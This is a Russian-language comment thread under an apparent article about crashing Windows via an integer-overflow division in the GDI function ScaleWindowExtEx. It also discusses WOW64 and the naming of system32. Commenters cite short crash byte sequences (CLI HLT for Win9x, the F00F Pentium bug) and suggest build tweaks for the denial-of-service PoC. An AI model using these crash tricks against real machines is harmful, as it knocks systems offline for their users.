                                                                                                                                                    Да, в коде есть небольшая ошибка — в третьей снизу строке должно быть hdc вместо Device, иначе будет ошибка компиляции.
                                                                                                                                                      0
                                                                                                                                                      Спасибо, исправил.
                                                                                                                                                      Я могу это объяснить только таким образом: для эмуляции 32-битных инструкций используется wow64, а его реализация различные для разных процессоров. Видимо в некоторых реализациях не бросается исключение.
                                                                                                                                                        +3
                                                                                                                                                        Это вы лихо всё виртуалками обернули. В long-mode (amd64) 32-битные инструкции выполняются аппаратно.
                                                                                                                                                      +2
                                                                                                                                                      Объясните, как
                                                                                                                                                      ((int) 0x8000/0x80000000)
                                                                                                                                                      
                                                                                                                                                      связано с INT_MIN?
                                                                                                                                                      Если считать руками, получается 0; если считать с помощью gcc, опять получается 0.
                                                                                                                                                        0
                                                                                                                                                        Исправил
                                                                                                                                                          +2
                                                                                                                                                          Не используйте пожалуйста магические константы в коде, прошу вас. Даже в таком.
                                                                                                                                                          p.s: лучше всего вообще уберите магию из поста, используйте limits он именно для этого придуман. Даже текущий код с магией не заработает на x64.
                                                                                                                                                          0
                                                                                                                                                          В статье теперь "-2147483648", вопрос снимается.
                                                                                                                                                            0
                                                                                                                                                            error C4146: unary minus operator applied to unsigned type, result still unsigned
                                                                                                                                                          +26
                                                                                                                                                          Я уроню эту систему с пяти строк!
                                                                                                                                                            +1
                                                                                                                                                            Ждем вашу статью на эту тему!
                                                                                                                                                              +1
                                                                                                                                                              Ну, уранивайте.
                                                                                                                                                              +1
                                                                                                                                                              Когда-то давным-давно win9x прекрасно вешалась com-файлом из 2х байт — CLI HLT (если мне не изменяет память, 0xFA 0xF4). Прогресс же!
                                                                                                                                                                0
                                                                                                                                                                А когда-то любой ммхатый пень вешался с четырёх байт F00FC7C8.
                                                                                                                                                                0
                                                                                                                                                                очевидно, в х64 нужно пробовать сделать 64битное переполнение, а не 32битное?
                                                                                                                                                                ведь x86 функции там идут на обертки
                                                                                                                                                                  0
                                                                                                                                                                  Я не нашёл такой функции, которая принимает два 64-битных параметра и делит один на другой в ядре системы.
                                                                                                                                                                    0
                                                                                                                                                                    А та-же самая ScaleWindowExtEx в 64-битной gdi32.dll?
                                                                                                                                                                      0
                                                                                                                                                                      Такой, к сожалению, нету. Есть только функция, которая принимает 32-битные числа.
                                                                                                                                                                        +2
                                                                                                                                                                        > в 64-битной gdi32.dll

                                                                                                                                                                        Это прекрасно )
                                                                                                                                                                          +4
                                                                                                                                                                          Кстате да, я так и не понял почему в 64битной венде 64битные dll с именами *32 пошли в папку system32, а 32битные переехали в syswow64… бред же…
                                                                                                                                                                            +1
                                                                                                                                                                            Мне тут рассказали что «WOW64 == Windows 32-bit on Windows 64-bit»
                                                                                                                                                                              0
                                                                                                                                                                              Это понятно. непонятно, нахрена «все» было обзывать с постфиксом "*32", если не с планами затем сделать аналогичное "*64"…
                                                                                                                                                                                +1
                                                                                                                                                                                тут как раз 32 не потому что потом будет 64, а потому что раньше было 16
                                                                                                                                                                                  +1
                                                                                                                                                                                  Но ведь логично же продолжить ряд названий… или у меня какая-то другая логика?..
                                                                                                                                                                            +1
                                                                                                                                                                            technet.microsoft.com/en-us/magazine/ff955767.aspx
                                                                                                                                                                            В мире оказалось слишком много программ с захардкоженным именем папки System32, и чтобы их не сломать, оказалось проще ввести перенаправление на уровне файловой системы. 32-битные приложения, обращаясь к system32, видят 32-битные версии, реально лежащие в syswow64, 64-битные, обращаясь туда же, видят 64-битные версии.
                                                                                                                                                                              +2
                                                                                                                                                                              Мне кажется странным это обоснование.
                                                                                                                                                                              Если в 32битной программе жестко прописан путь к System32, то если в 64битной системе размещать новые 64битные библиотеки в System64, это ничего не сломает. 64битные программы сами по себе не берутся, их как минимум перекомпилируют производители, а следовательно они сразу найдут, где прописан неправильный путь.
                                                                                                                                                                                0
                                                                                                                                                                                Проблема в том, что подобная ошибка выглядит не как окошко с сообщением «Прописан неправильный путь», а, например, как «Модуль, написанный уволившимся пять лет назад человеком, падает при инициализации» — причём расследование покажет, что падение происходит из-за некорректной обработки ошибки E_NOTFOUND, возвращаемой другим модулем, написанным шесть лет назад.
                                                                                                                                                                                Другая проблема, обсуждаемая в той статье, — наличие скриптов, в частности, bat-ников, с жёсткими путями. Их перекомпилировать не нужно.
                                                                                                                                                                                  0
                                                                                                                                                                                  С потенциальной проблемой со скриптами согласен, а вот с модулями, требующими перекомпиляции я существенной проблемы все-еще не вижу, ибо как показывает практика такой низкокачественный код после простой перекомпиляции работать не будет и все равно потребуется его выправление.

                                                                                                                                                                                  А так как 32битную инфраструктуру никто не убирал, то старые приложения продолжали работать без ошибок и те, кто не мог адаптировать их под 64 бита могли продолжать выпускать 32битные версии.
                                                                                                                                                                                    +1
                                                                                                                                                                                    32-битную архитектуру убрать пытались, правда, не MS, а Intel: первыми 64-битными процессорами, поддерживаемыми релизом Windows, были Itanium, где WOW64-подсистема содержала программную эмуляцию x86 с соответствующей скоростью работы. Если бы Itanium взлетел, то отсутствие 64-битной версии какой-нибудь важной программы было бы близким к стопперу перехода, что MS невыгодно.
                                                                                                                                                                                    Простой перекомпиляции в случае сколько-нибудь нетривиального кода, конечно, недостаточно для переноса на новую архитектуру. Но 1) каждый новый момент, который нужно учитывать, уменьшает число желающих хоть что-то делать и 2) если имя уже было захардкожено, то получатся два варианта кода — под #ifdef _WIN64 и #elif — что усложнит дальнейшую поддержку, а в MS всё же стараются упрощать жизнь программистам, а не усложнять.

                                                                                                                                                                                    Ещё про переход 32 -> 64, хоть и не про файловую систему, но философию проясняет: blogs.msdn.com/b/oldnewthing/archive/2012/10/29/10363484.aspx. Несколько цитат, курсив из оригинала:
                                                                                                                                                                                    When updating the interfaces for 64-bit Windows, there were a few guiding principles. Here are two of them.
                                                                                                                                                                                    * Don't change an interface unless you really need to.
                                                                                                                                                                                    * Do you really need to?

                                                                                                                                                                                    The only consequence (so far) is that the number of «things in code being ported from 32-bit Windows to 64-bit Windows needs to watch out for» has been incremented by one. Of course, too much of this incrementing, and the list of things becomes so long that developers are going to throw up their hands and say «Porting is too much work, screw it.»

                                                                                                                                                                                    These are the worst types of breaking changes: The ones where the compiler doesn't tell you that something is wrong. Your code compiles, it even basically runs, but it doesn't run correctly.

                                                                                                                                                                                    Remember, you want to make it easier for people to port their program to 64-bit Windows, not harder. The goal is make customers happy, not create the world's most architecturally pure operating system. And customers aren't happy when the operating system can't run their programs (because every time the vendor try to port it, they keep stumbling over random subtle behavior changes that break their program).
                                                                                                                                                                    0
                                                                                                                                                                    Кстати, а в Редмонд письмицо отправили?
                                                                                                                                                                    p.s: мая путей для этого что то не нашёл, попрятано видимо.
                                                                                                                                                                      +5
                                                                                                                                                                      По поводу статьи замечания:
                                                                                                                                                                      1) зачем добавлять gdi32.lib??? Можно загрузить все функции через LoadLibrary/GetProcAddress
                                                                                                                                                                      2) почему в коде нету опции?
                                                                                                                                                                      #pragma optimize("",off)
                                                                                                                                                                      #pragma comment(compiler,"/MT");
                                                                                                                                                                      

                                                                                                                                                                      выключить оптимизацию и включить статическую компоновку
                                                                                                                                                                      3) где исходники на GitHub?
                                                                                                                                                                      4) как и любой PoC рекомендуется добавить MessageBoxA перед запуском (по этическим причинам)
                                                                                                                                                                        +17
                                                                                                                                                                        Вы еще забыли вопрос про лицензию, под которой распространяется код :-)
                                                                                                                                                                          0
                                                                                                                                                                          Если лицензия не указана то для PoC считается Public Domain c указанием авторства.
                                                                                                                                                                        +2
                                                                                                                                                                        Прочитал, и думаю прав товарищ Таненбаум, все становится большим и сложным и придется сначала спрыгнуть с windows, потом с linux, а потом на то, что будет после minix.
                                                                                                                                                                          –2
                                                                                                                                                                          У меня в BSOD Windows 8 вываливается при попытке выйти со спящего режима при убитом аккумуляторе, вернулся на семерку, хотя думаю что это не совсем верная реакция на такую ситуацию со стороны операционки
                                                                                                                                                                            +1
                                                                                                                                                                            А у меня нет.
                                                                                                                                                                            +5
                                                                                                                                                                            В ядре Windows принято не использовать переменные с плавающей точкой

                                                                                                                                                                            Вроде бы в документации к ядру Линукс английским по белому написано то же самое: «Ду нат юз флоатс ин кернел коуд… ат олл.»
                                                                                                                                                                              +8
                                                                                                                                                                              // Off topic

                                                                                                                                                                              Если кому-то, как и мне, стало интересно, почему HomoLuden написал «нат», а не «нот»: IPA для not в британском английском — [nɒt], а в американском английском — [nɑt].
                                                                                                                                                                                +1
                                                                                                                                                                                А «ат олл» правильно? Не «эт олл»?
                                                                                                                                                                                  0
                                                                                                                                                                                  Смотря в каком диалекте. Фок и фук вместо фак тоже говорят и считают что правы.
                                                                                                                                                                                  +1
                                                                                                                                                                                  флоутс, кёнл, эт
                                                                                                                                                                                  +1
                                                                                                                                                                                  А кстати, в чем резон?